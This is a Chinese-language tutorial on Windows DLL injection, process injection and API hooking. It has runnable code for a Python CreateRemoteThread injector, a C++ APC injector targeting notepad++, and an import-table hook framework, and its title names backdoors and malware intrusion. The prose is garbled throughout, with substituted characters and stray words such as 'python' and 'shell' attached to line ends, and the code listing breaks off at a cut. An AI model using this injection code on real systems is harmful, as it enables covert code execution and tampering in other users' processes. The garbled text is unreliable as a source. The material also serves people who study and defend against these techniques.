Windows Dll Injection、Process Injection、API Hook、DLL後門/惡意程序入侵技術

cataloguecss

1. 引言
2. 使用註冊表注入DLL
3. 使用Windows掛鉤來注入DLL
4. 使用遠程線程來注入DLL
5. 使用木馬DLL來注入DLL
6. 把DLL做爲調試器來注入
7. 使用createprocess來注入代碼
8. APC DLL注入
9. API Hook攔截
10. Detours - Inline Hook
11. 以服務形式執行DLL中指定函數/或直接指定EXE做爲啓動程序
12. 劫持現有Service的啓動DLL
13. Reflective DLL injection In Memory
14. 經過系統指令rundll32.exe執行DLL中指定函數
15. DLL劫持 lpk.dll
16. Reflective DLL Injection with PowerShell
17. 修改exe文件自身導入表劫持dll
18. 利用regsvr32 /s /i:http:註冊dll組件
19. windows SSDT hook - 內核態hook
20. windows IDT hook - 內核態hook
21. IAT hook - 用戶態hook
html

 

1.  引言python

應用程序須要跨越進程邊界來訪問另外一個進程的地址空間的狀況以下linux

1. 咱們想要從另外一個進程建立的窗口派生子類窗口
2. 咱們須要一些手段來輔助調試,例如咱們須要肯定另外一個進程正在使用哪些DLL
3. 咱們想對另外一個進程安裝Hook

咱們接下來要研究將一個DLL注入到另外一個進程的地址空間中,一旦DLL代碼進入另外一個地址空間,那麼咱們就能夠在那個進程中實現安全防護邏輯。這裏須要注意是的,DLL注入是一個一個前提條件,由於Windows的內存管理體系是不容許另外一個進程直接修改當前進程的API行爲的,而WriteProcessMemory又只能修改小範圍的跨進程內存地址,這種狀況下,咱們要實現運行時中跨進程API Hook(有別於Linux LD_PRELOAD那種須要從新啓動進程才能生效的全局Glibc庫API劫持思路),就必須進行DLL注入git

0x1: Detect and Plug GDI Leaks in Your Code with Two Powerful Tools for Windows XPgithub

0x2: DLL(Dynamic Link Library)shell

1. 動態連接程序庫,全稱:Dynamic Link Library,簡稱DLL,做用在於爲應用程序提供擴展功能。應用程序想要調用DLL文件,須要跟其進行"動態連接"
2. 從編程的角度,應用程序須要知道DLL文件導出的API函數方可調用。因而可知,DLL文件自己並不能夠運行,須要應用程序調用
3. DLL文件運行時必須插入到應用程序的內存模塊當中,若是正在運行的程序不關閉,則該DLL很難清除

0x3: API Hook Project編程

https://www.apriorit.com/dev-blog/160-apihooks
https://github.com/williammortl/Prochook64
https://github.com/Zer0Mem0ry/APIHook

Relevant Link:windows

http://wotseb.bokee.com/6568089.html
http://blog.naver.com/hypermin/70011196503

 

2. 使用註冊表注入DLLapi

windows整個系統的配置都保存在這個註冊表中,咱們能夠經過調整其中的設置來改變系統的行爲

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

1. AppInit_Dlls: 該鍵的值可能會包含一個DLL的文件名或一組DLL的文件名(經過空格或逗號分隔)(因爲空格是用來分隔文件名的,因此咱們必須避免在文件名中包含空格)。第一個DLL的文件名能夠包含路徑,但其餘DLL包含的路徑則會被忽略,出於這個緣由,咱們最好是將本身的DLL放到windows的系統目錄中,這樣就沒必要指定路徑了
2. LoadAppInit_Dlls: 爲了能讓系統使用AppInit_Dlls這個註冊表項,須要建立一個LoadAppInit_Dlls,類型爲DWORD的註冊表項,並將它的值設置爲1

當User32.dll被映射到一個新的進程時,會收到DLL_PROCESS_ATTACH通知,當User32.dll對它進行處理的時候,會取得上述註冊表鍵的值,並調用LoadLibary來載入這個字符串中指定的每一個DLL。當系統載入每一個DLL的時候,會調用它們的DllMain函數,並將參數fdwReason的值設置爲DLL_PROCESS_ATTACH,這樣每一個DLL都可以對本身進行初始化

0x1: 該方法的風險點

1. 因爲被注入的DLL是在進程的生命週期的早期(Loader)被載入的,所以咱們在調用函數的時候應該謹慎,調用Kernel32.dll中的函數應該沒有問題,可是調用其餘DLL中的函數可能會致使失敗,甚至可能會致使藍屏
2. User32.dll不會檢查每一個DLL的載入或初始化是否成功

0x2: 該方案的缺點

1. 咱們的DLL只會被映射到那些使用了User32.dll的進程中,全部基於GUI的應用程序都使用了User32.dll,但大多數基於CUI的應用程序都不會使用它。所以,若是想要將DLL注入到編譯器或者連接器或者命令行程序,這種方法就不可行
2. 咱們的DLL會被映射到每一個基於GUI的應用程序中,但咱們可能只想把DLL注入到一個或少數幾個應用程序中。咱們的DLL被映射到越多的進程中,它致使"容器"進程崩潰的可能性也就越大
3. 咱們注入的DLL會在應用程序終止以前,一直存在於進程的地址空間中,最好是隻在須要的時候才注入咱們的DLL

 

3. 使用Windows掛鉤來注入DLL

咱們能夠用掛鉤(SetWindowsHookEx)來將一個DLL注入到進程的地址空間中。注意,當系統把掛鉤過濾函數(hook filter function)所在的DLL注入或映射到地址空間中時,會映射整個DLL,而不只僅只是掛鉤過濾函數,這意味着該DLL內的全部函數存在於被注入的進程中,可以被被注入進程中的任何線程調用

0x1: 該方案的優缺點

1. 和利用註冊表來注入DLL的方法相比,這種方法容許咱們在不須要該DLL的時候從進程的地址空間中撤銷對它的映射,只須要調用UnhookWindowsHookEx就能夠達到目的。當一個線程調用UnhookWindowsHookEx的時候,系統會遍歷本身內部的一個已經注入過該DLL的進程列表,並將該DLL的鎖計數器遞減。當鎖計數器減到0的時候,系統會自動從進程的地址空間中撤銷對該DLL的映射
2. 系統爲了防止內存訪問違規,在被注入進程指定Hook函數的時候,會對注入DLL的鎖計數器加1,由於若是不這麼作,則被注入進程在執行Hook函數的時候,系統的另外一個進程可能會調用UnhookWindowsHookEx,從而引發內存訪問違規
3. 全部這一切意味着咱們不能在調用了Hook函數,且函數還在運行時把掛鉤清楚,在Hook函數執行的整個聲明週期,這個掛鉤必須一直有效

這種方式能夠理解爲借用了windows本身原生的機制來進行DLL注入

 

4. 使用遠程線程來注入DLL

遠程線程(remote thread)提供了最高的靈活性,從根本上來講,DLL注入技術要求目標進程中的一個線程調用LoadLibrary來載入咱們本身的DLL。因爲咱們不能輕易地控制別人進程中的線程,所以這種方法要求咱們在目標進程中建立一個新的線程

HANDLE WINAPI CreateRemoteThread(
  _In_  HANDLE                 hProcess,
  _In_  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  _In_  SIZE_T                 dwStackSize,
  _In_  LPTHREAD_START_ROUTINE lpStartAddress,
  _In_  LPVOID                 lpParameter,
  _In_  DWORD                  dwCreationFlags,
  _Out_ LPDWORD                lpThreadId
);


1. hProcess: 表示新建立的線程歸哪一個進程全部
A handle to the process in which the thread is to be created. The handle must have the PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ access rights, and may fail without these rights on certain platforms

2. lpStartAddress: 表明新建遠程線程的入口函數地址
注意,這個函數地址應該在遠程進程的地址空間中,而不是在咱們本身進程的地址空間。由於咱們只是在遠程進程中新建了一個線程,咱們本身的DLL這個時候尚未被載入遠程進程中,咱們這個時候是孤身深刻地方陣地的,沒有攜帶任何武器,只能使用地方陣地上已有的東西製造登陸平臺,來實現後續的DLL注入(即利用LoadLibrary)

這裏須要注意的是,若是在調用CreateRemoteThread的時候直接引用LoadLibraryW,該引用會被解析爲咱們模塊的導入段中的LoadLibraryW轉換函數的地址。若是把這個轉換函數的地址做爲遠程線程的起始地址傳入,其結果極可能是訪問違規,爲了強制讓代碼略過轉換函數並直接調用LoadLibraryW函數,咱們必須經過調用GetProcAddress來獲得LoadLibraryW的準確地址

對CreateRemoteThread的調用假定在本地進程(local process)和遠程進程中,Kernel32.dll被映射到地址空間中的同一內存地址。每一個應用程序都須要Kernel32.dll,且每一個進程中都會將Kernel32.dll映射到同一個地址,即便這個地址在系統重啓以後可能會改變,所以,咱們能夠按照以下的方式來調用

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibrary");
HANDLE hThread = CreateRemoteThread(hProcessRemote, NULL, 0, pfnThreadRtn, L"C:\\Mylib.dll", 0, NULL);

可是這裏還有一個問題,仍是內存地址空間隔離的問題,咱們傳入的這個L"C:\\Mylib.dll"在編譯時會被翻譯爲當前本地進程的內存地址,可是對於遠程進程來講,這個地址多是無效的,這可能致使訪問違規,進而致使遠程進程崩潰。爲了解決這個問題,咱們須要把DLL的路徑字符串存放到遠程進程的地址空間去,而後在調用CreateRemoteThread傳入

LPVOID WINAPI VirtualAllocEx(
  _In_     HANDLE hProcess,
  _In_opt_ LPVOID lpAddress,
  _In_     SIZE_T dwSize,
  _In_     DWORD  flAllocationType,
  _In_     DWORD  flProtect
);
讓咱們在遠程進程中分配一塊內存,一旦爲字符串分配了一塊內存,咱們還須要向這個內存塊中寫入字符串內容
BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess,
  _In_  LPVOID  lpBaseAddress,
  _In_  LPCVOID lpBuffer,
  _In_  SIZE_T  nSize,
  _Out_ SIZE_T  *lpNumberOfBytesWritten
);

這裏再一次說明,CreateRemoteThread裏傳入的全部信息,都必須是在遠程進程中有效的地址,這就至關於咱們深刻敵陣以前已經探查好了地形,當深刻敵陣的那一瞬間,咱們是按照事先探查好的地形(對應於遠程進程中的有效內存地址)來進行後續的行動(即LoadLibraryW)

梳理一下總的流程

1. 用VirtualAllocEx函數在遠程進程的地址空間中分配一塊內存
2. 用WriteProcessMemory函數把DLL的路徑名字符串複製到第一步分配的內存中
3. 用GetProcAddress函數來獲得LoadLibraryW函數(在Kernel32.dll)在遠程進行中的實際地址
4. 用CreateRemoteThread函數在遠程進程中建立一個線程,讓新線程調用正確的LoadLibraryW函數並在參數中傳入第一步分配的內存地址。這時,DLL已經被注入到遠程進程的地址空間,DLL的DllMain函數會收到DLL_PROCESS_ATTACH通知而且能夠執行咱們自定義的代碼邏輯。當DllMain返回的時候,遠程線程會從LoadLibraryW調用返回到BaseThreadStart函數。BaseThreadStart而後調用ExitThread,使遠程線程終止
5. 如今遠程進程中有一塊內存,它是咱們在第一步分配的,DLL也還在遠程進程的內存空間中,爲了對它們進行清理,咱們須要在遠程線程退出以後執行後續步驟
6. 用VirtualFreeEx來釋放第一步分配的內存
7. 用GetProcAddress來獲得FreeLibrary函數(在Kernel32.dll)中的實際地址
8. 用CreateRemoteThread函數在遠程進程中建立一個線程,讓該線程調用FreeLibrary函數並在參數中傳入遠程DLL的HMODULE

0x1: 方案風險點

1. CreateRemoteThread的第一個參數是遠程進程的句柄HANDLE,咱們須要調用OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);,並請求合適的訪問權限,方案兼容性可能就出在這個訪問權限。若是OpenProcess返回NULL,那說明應用程序所在的安全上下文(security context)不容許它打開目標進程的句柄。一些進程是本地系統賬號(local system account)運行的,例如WinLogon、SvcHost和Csrss,登陸的用戶是沒法對這些進程進行修改的

0x2: python-dll-injection

#!/usr/bin/python
# Win32 DLL injector from Grey Hat Python
# Minor formatting cleanups done...
import sys
from ctypes import *

print "DLL Injector implementation in Python"
print "Taken from Grey Hat Python"

if (len(sys.argv) != 3):
    print "Usage: %s <PID> <Path To DLL>" %(sys.argv[0])
    print "Eg: %s 1111 C:\\test\messagebox.dll" %(sys.argv[0])
    sys.exit(0)

PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = ( 0x00F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]

dll_len = len(dll_path)

# Get handle to process being injected...
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

if not h_process:
    print "[!] Couldn't get handle to PID: %s" %(pid)
    print "[!] Are you sure %s is a valid PID?" %(pid)
    sys.exit(0)

# Allocate space for DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)

# Write DLL path to allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))

# Resolve LoadLibraryA Address
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")

# Now we createRemoteThread with entrypoiny set to LoadLibraryA and pointer to DLL path as param
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)):
    print "[!] Failed to inject DLL, exit..."
    sys.exit(0)

print "[+] Remote Thread with ID 0x%08x created." %(thread_id.value)

須要明白的是,CreateRemoteThread+DLL注入只是讓咱們有機會定向地讓一個目標遠程執行咱們自定義的代碼邏輯。到了這一步還未完成API Hook,由於進程注入只有One Shoot一次機會,若是咱們但願持久地控制目標進程的行爲,就須要在注入的DLL的DllMain中實現API Hook的代碼邏輯

Relevant Link:

https://github.com/infodox/python-dll-injection

 

5. 使用木馬DLL來注入DLL

注入DLL的另外一種方式是,把咱們知道的進程必然會載入的一個DLL替換掉,咱們替換的DLL內部,咱們導出原來的DLL所導出的全部符號(保證調用方無感知)

0x1: 方案的風險點

1. 這種方法不能自動適應被替換DLL版本的變化

 

6. 把DLL做爲調試器來注入

調試器能夠在被調試進程中執行許多特殊的操做。系統載入一個被調試程序(debugger)的時候,會在被調試程序的地址空間準備完畢以後,但被調試程序的主線程還沒有開始執行任何代碼以前,自動通知調試器。這是,調試器能夠強制將一些代碼注入到被調試程序的地址空間中(例如使用writeprocessmemory),而後讓被調試程序的主線程去執行這些代碼。

這種方法要求咱們對被調試線程的context結果進行操做,這也意味着咱們必須編寫與cpu有關的代碼。在默認狀況下,若是調試器終止,那麼windows會自動終止被調試程序,可是,調試器能夠經過debugsetprocesskillonexit並傳入false來改變默認的行爲

 

7. 使用createprocess來注入代碼

若是要注入代碼的進程是由咱們的進程生成的(spawn),那麼,咱們的進程(父進程)能夠在建立新進程的時候將它掛起。這種方法容許咱們改變子進程的狀態,同時又不影響它的執行,由於它根本尚未開始執行。

父進程會獲得子進程主線程的句柄,經過這個句柄,能夠對線程執行的代碼進行修改,因爲咱們能夠設置線程的指令指針,讓它執行內存映射文件中的代碼

1. 讓進程生成一個被掛起的子進程
2. 從.exe模塊的文件頭中取得主線程的起始內存地址
3. 將位於該內存地址處的機器指令保存起來
4. 強制將一些手工編寫的機器指令寫入到該內存地址處,這些指令應該調用loadlibrary來載入一個dll
5. 讓子進程的主線程恢復運行,從而讓這些指令獲得執行
6. 把保存起來的原始指令恢復到起始地址處
7. 讓進程從起始地址繼續執行,就好像什麼都沒有發生過同樣

0x1: 方案優缺點

1. 首先,它在應用程序開始執行以前獲得地址空間
2. 其次,因爲咱們的應用程序不是調試器,所以咱們能夠很是容易地對應用程序和注入的dll進行調試
3. 最後,這種方法適用於cui、gui程序
4. 可是這種方法也有缺點。只有當咱們的代碼在父進程中的時候,咱們才能用這種方法來注入dll
5. 同時,這種方法還和cpu相關,咱們必須爲不一樣的cpu平臺作相應的修改

 

8. APC DLL注入

0x1: 內核方式投遞APC

異步過程調用(APC)是NT異步處理體系結構中的一個基礎部分。Alertable IO(告警IO)提供了更有效的異步通知形式,當IO請求完成後,一旦線程進入可告警狀態,回調函數將會執行,也就是一個APC的過程.
線程進入告警狀態時,內核將會檢查線程的APC隊列,若是隊列中有APC,將會按FIFO方式依次執行。若是隊列爲空,線程將會掛起等待事件對象。之後的某個時刻,一旦APC進入隊列,線程將會被喚醒執行APC.
投遞APC是一個線程動做,最終由系統調用KiDeliverApc完成。因此,咱們能夠填充一個APC(KeInitializeapc,KeInsertQueueApc)插入到線程Alertable爲TRUE的APC對列中。
任意一個DLL插入到進程執行的是用戶空間代碼,so,一定要使用LoadLibrayA加載纔可訪問用戶地址空間。so這是個用戶模式下的APC。用戶模式能夠傳遞(ULONG)LoadLibrayA地址,內核裏就可以使用這個地址

0x2: 應用層方式插入APC

從流程上看QueueUserAPC直接轉入了系統服務NtQueueApcThread從而利用KeInsertQueueApc向給出的目標線程的 APC隊列插入一APC對象。假若KiDeliverApc順利的去構造apc環境並執行咱們的代碼那一切就OK了,可是沒有那麼順利的事, ApcState中UserApcPending是否爲TRUE有重要的影響,結果每每是等了好久代碼仍是沒獲得執行。在覈心態每每不成問題能夠直接賦值可是用戶態不行.
解決這個問題的方法有2個

1. 把全部線程全都QueueUserAPC。但這樣作確實影響效率
2. 使用目標線程調用 SleepEx(.,TRUE),而後QueueUserAPC插入DLL 

APC是異步過程調用,系統建立線程的時候會爲線程建立一個APC隊列,當線程調用SleepEx,WaitSingleObjectEx等函數時,並把線程狀態被設置爲可提醒狀態時,線程並不會睡眠,而是檢查APC隊列是否爲空,若是不爲空,轉去執行APC隊列中的每一項,所以給目標進程中的線程插入APC,就能夠實現進程注入

1. 第一步: 打開目標進程得到句柄
2. 第二步: 枚舉目標進程裏面的線程獲得線程ID
HANDLE WINAPI CreateToolhelp32Snapshot(
      _In_ DWORD dwFlags,//snapshot包涵的內容
      _In_ DWORD th32ProcessID//進程ID
),用來建立一個枚舉線程的快照。而後調用函數Thread32First和Thread32Next來循環枚舉線程 
BOOL WINAPI Thread32First(
      _In_    HANDLE          hSnapshot,//快照句柄
      _Inout_ LPTHREADENTRY32 lpte//保存相關信息的結構體
)
BOOL WINAPI Thread32Next(
      _In_  HANDLE          hSnapshot,
      _Out_ LPTHREADENTRY32 lpte
)。

3. 第三步: 打開線程獲得線程句柄
HANDLE WINAPI OpenThread(
     _In_ DWORD dwDesiredAccess,//打開權限
      _In_ BOOL  bInheritHandle,//子進程是否繼承該句柄
      _In_ DWORD dwThreadId//線程ID
)

4. 第四步: 調用QueueUserAPC函數向枚舉到的每個線程插入APC
HANDLE WINAPI OpenThread(
     _In_ DWORD dwDesiredAccess,//打開權限
      _In_ BOOL  bInheritHandle,//子進程是否繼承該句柄
      _In_ DWORD dwThreadId//線程ID
)

注入notepad++示例

// apc-inject.cpp : 定義控制檯應用程序的入口點。
//

#include "stdafx.h"


#include <windows.h>
#include <TlHelp32.h>
#include <vector>

using std::vector;

bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) {
    auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return false;
    pid = 0;
    PROCESSENTRY32 pe = { sizeof(pe) };
    if (::Process32First(hSnapshot, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, exeName) == 0) {
                pid = pe.th32ProcessID;
                THREADENTRY32 te = { sizeof(te) };
                if (::Thread32First(hSnapshot, &te)) {
                    do {
                        if (te.th32OwnerProcessID == pid) {
                            tids.push_back(te.th32ThreadID);
                        }
                    } while (::Thread32Next(hSnapshot, &te));
                }
                break;
            }
        } while (::Process32Next(hSnapshot, &pe));
    }
    ::CloseHandle(hSnapshot);
    return pid > 0 && !tids.empty();
}

void main()
{
    DWORD pid;
    vector<DWORD> tids;
    if (FindProcess(L"notepad++.exe", pid, tids))
    {
        printf("OpenProcess\n");
        HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
        printf("VirtualAllocEx\n");
        auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        wchar_t buffer[] = L"c:\\test\\testDll.dll";
        printf("WriteProcessMemory\n");
        ::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
        for (const auto& tid : tids)
        {
            printf("OpenThread\n");
            HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
            if (hThread)
            {
                printf("GetProcAddress\n");
                ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);
            }
        }
        printf("VirtualFreeEx\n");
        ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
    }
}

dll code

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, NULL, NULL, 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Relevant Link:

http://gslab.qq.com/article-206-1.html
http://www.pediy.com/kssd/pediy11/114648.html
https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx
https://github.com/3gstudent/Inject-dll-by-APC
http://www.cnblogs.com/arsense/p/6427472.html
http://www.programlife.net/apc-injection.html

 

9. API Hook攔截

0x1: 經過覆蓋代碼來攔截api(inline hook)

1. 在內存中對要攔截的函數(假設是Kernel32.dll中的ExitProcess)進行定位,從而獲得它的的內存地址
2. 把這個函數起始的幾個字節保存在咱們本身的內存中
3. 用CPU的一條JUMP指令來覆蓋這個函數起始的幾個字節,這條JUMP指令用來跳轉到咱們的替代函數的內存地址。固然,咱們的替代函數的函數簽名(參數)必須與要攔截的函數的函數簽名徹底相同;1)全部的參數必須相同、2)返回值必須相同、3)調用約定也必須相同
4. 如今,當線程調用被攔截函數(hook function)的時候,跳轉指令實際上會跳轉到咱們的替代函數。這時,咱們就能夠執行本身想要執行的任何代碼
5. 爲了撤銷對函數的攔截,咱們必須把(第二步)保存下來的本身放回被攔截函數起始的幾個字節中
6. 咱們調用被攔截函數(如今已經再也不對它進行攔截了),讓該函數執行它的正常處理

須要注意的是,這種方法存在一些嚴重不足

1. 它對CPU有依賴性;x8六、x6四、IA-64以及其餘CPU的JUMP指令各不相同,爲了讓這種方法可以工做,咱們必須手工編寫機器指令
2. 這種方法在搶佔式、多線程環境下沒法工做。一個線程覆蓋另外一個函數起始位置的代碼是須要時間的,在這個過程當中,另外一個線程可能試圖調用同一個函數,其結果多是災難性的

0x2: 經過修改模塊的導入段來攔截API

咱們知道,一個模塊的導入段包含一組DLL,爲了讓模塊可以運行,這些DLL是必須的。此外,導入段還包含一個符號表,其中列出了該模塊從各DLL中導入的符號。當該模塊調用另外一個導入函數的時候,線程實際上會先從模塊的導入表中獲得相應的導入函數的地址,而後再跳轉到那個地址

所以,爲了攔截一個特定的函數,咱們須要修改它在模塊的導入段中的地址(定向針對某進程Hook)

須要注意的是,經過修改模塊的導入段只能影響該模塊自己(經常是該主進程)的調用行爲,而不影響其餘進程,同時,若是該模塊地址空間中的DLL也不受影響,由於這些DLL有它們本身的導入段,它們並無被修改。若是想要捕獲全部模塊對執行函數的全部調用,必須對載入到地址空間中的每一個模塊都進行導入段修改

1. ReplaceIATEntryInAllMods中遍歷模塊的框架

void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod)  
{  
    //取得當前模塊句柄  
    HMODULE hModThis = NULL;  
    if (bExcludeAPIHookMod)  
    {  
        MEMORY_BASIC_INFORMATION mbi;  
        if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必須爲類的static函數  
        {  
            hModThis = (HMODULE)mbi.AllocationBase;  
        }  
    }  
    //取得本進程的模塊列表  
    HANDLE hModuleSnap = INVALID_HANDLE_VALUE;   
    MODULEENTRY32 me32;  
    hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());  
    if (INVALID_HANDLE_VALUE == hModuleSnap)  
    {  
        return;  
    }  
    me32.dwSize = sizeof( MODULEENTRY32 );   
    if( !Module32First( hModuleSnap, &me32 ) )   
    {   
        return;  
    }  
    do   
    { //對每個模塊  
        if (me32.hModule != hModThis)  
        {  
            ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule);  
        }  
    } while( Module32Next( hModuleSnap, &me32 ) );   
  
  
    ::CloseHandle(hModuleSnap); //配對寫  
  
}  

2. 遍歷鏈表摘除本身(恢復被Hook導入函數)的框架

CAPIHOOK::~CAPIHOOK(void)  
{  
    //取消對函數的HOOK  
    ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE);  
  
    //把本身從鏈表中刪除  
    CAPIHOOK* p = sm_pHeader;  
    if (p == this)  
    {  
        sm_pHeader = this->m_pNext;  
    }  
    else  
    {  
        while(p != NULL)  
        {  
            if (p->m_pNext == this)  
            {  
                p->m_pNext = this->m_pNext;  
                break;  
            }  
            p = p->m_pNext;  
        }  
    }  
}  

3. ReplaceIATEntryInOneMod

使用IAT Hook劫持技術,須要額外處理幾個特殊的狀況

1. 若是一個線程在咱們調用了ReplaceIATEntryInAllMods以後調用LoadLibrary來動態載入一個新的DLL,這種狀況下,新載入的DLL並無被IAT替換。所以咱們須要攔截LoadLibraryA、LoadLibraryW、LoadLibraryExA、LoadLibraryExW函數,這樣咱們就可以捕獲這些調用,併爲新載入的模塊調用ReplaceIATEntryInAllMod。之因此要用All,是由於新載入的DLL可能有靜態依賴其餘DLL,這些靜態依賴的DLL不會觸發咱們的LoadLibrary..系列函數
2. 假如目標模塊是喲個GetProcAddress動態調用函數,程序流也不會到IAT這裏,所以咱們須要對GetProcAddress進行單獨的Hook處理

.cpp

#include "APIHOOK.h"  
#include <Tlhelp32.h>  
  
CAPIHOOK *CAPIHOOK::sm_pHeader = NULL;  
CAPIHOOK CAPIHOOK::sm_LoadLibraryA("kernel32.dll", "LoadLibraryA", (PROC)CAPIHOOK::LoadLibraryA, TRUE);  
CAPIHOOK CAPIHOOK::sm_LoadLibraryW("kernel32.dll", "LoadLibraryW", (PROC)CAPIHOOK::LoadLibraryW, TRUE);  
CAPIHOOK CAPIHOOK::sm_LoadLibraryExA("kernel32.dll", "LoadLibraryExA", (PROC)CAPIHOOK::LoadLibraryExA, TRUE);  
CAPIHOOK CAPIHOOK::sm_LoadLibraryExW("kernel32.dll", "LoadLibraryExW", (PROC)CAPIHOOK::LoadLibraryExW, TRUE);  
CAPIHOOK CAPIHOOK::sm_GetProcAddress("kernel32.dll", "GetProcAddress", (PROC)CAPIHOOK::GetProcess, TRUE);  
CAPIHOOK::CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod)  
{  
    //初始化變量  
    m_pszModName = lpszModName;  
    m_pszFuncName = pszFuncName;  
    m_pfnOrig = ::GetProcAddress(::GetModuleHandleA(lpszModName), pszFuncName);  
    m_pfnHook = pfnHook;  
  
    //將此對象加入鏈表中  
    m_pNext = sm_pHeader;  
    sm_pHeader = this;  
  
    //在當前已加載的模塊中HOOK這個函數  
    ReplaceIATEntryInAllMods(lpszModName, m_pfnOrig, m_pfnHook, bExcludeAPIHookMod);  
}  
  
  
CAPIHOOK::~CAPIHOOK(void)  
{  
    //取消對函數的HOOK  
    ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE);  
  
    //把本身從鏈表中刪除  
    CAPIHOOK* p = sm_pHeader;  
    if (p == this)  
    {  
        sm_pHeader = this->m_pNext;  
    }  
    else  
    {  
        while(p != NULL)  
        {  
            if (p->m_pNext == this)  
            {  
                p->m_pNext = this->m_pNext;  
                break;  
            }  
            p = p->m_pNext;  
        }  
    }  
}  
//防止程序運行期間動態加載模塊  
void CAPIHOOK::HookNewlyLoadedModule(HMODULE hModule, DWORD dwFlags)  
{  
    if (hModule!=NULL && (dwFlags&LOAD_LIBRARY_AS_DATAFILE)==0)  
    {  
        CAPIHOOK* p = sm_pHeader;  //循環遍歷鏈表,對每一個CAPIHOOK進入HOOK  
        if (p != NULL)    
        {  
            ReplaceIATEntryInOneMod(p->m_pszModName, p->m_pfnOrig, p->m_pfnHook, hModule);  
            p = p->m_pNext;  
        }  
    }  
  
}  
  
//防止程序運行期間動態調用API函數  
FARPROC WINAPI CAPIHOOK::GetProcess(HMODULE hModule, PCSTR pszProcName)  
{  
    //獲得函數的真實地址  
    FARPROC pfn = ::GetProcAddress(hModule, pszProcName);  
    //遍歷列表 看是否是要HOOK的函數  
    CAPIHOOK* p = sm_pHeader;  
    while(p != NULL)  
    {  
        if (p->m_pfnOrig == pfn) //是要HOOK的函數  
        {  
            pfn = p->m_pfnHook; //HOOK掉  
            break;  
        }  
        p = p->m_pNext;  
    }  
    return pfn;  
  
}  
  
void CAPIHOOK::ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller)  
{  
  
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hModCaller;  
    IMAGE_OPTIONAL_HEADER* pOpNtHeader = (IMAGE_OPTIONAL_HEADER*)((BYTE*)hModCaller + pDosHeader->e_lfanew + 24); //這裏加24  
    IMAGE_IMPORT_DESCRIPTOR* pImportDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModCaller + pOpNtHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);  
  
    BOOL bFindDll = FALSE;  
    while (pImportDesc->FirstThunk)  
    {  
        char* pszDllName = (char*)((BYTE*)hModCaller + pImportDesc->Name);  
  
        if (stricmp(pszDllName, pszExportMod) == 0)//若是找到pszExportMod模塊,至關於hook messageboxa時的「user32.dll」  
        {  
            bFindDll = TRUE;  
            break;  
        }  
        pImportDesc++;    
    }  
  
    if (bFindDll)  
    {  
        DWORD n = 0;  
        //一個IMAGE_THUNK_DATA就是一個導入函數  
        IMAGE_THUNK_DATA* pThunk = (IMAGE_THUNK_DATA*)((BYTE*)hModCaller + pImportDesc->OriginalFirstThunk);  
        while (pThunk->u1.Function)  
        {  
            //取得函數名稱  
            char* pszFuncName = (char*)((BYTE*)hModCaller+pThunk->u1.AddressOfData+2); //函數名前面有兩個..  
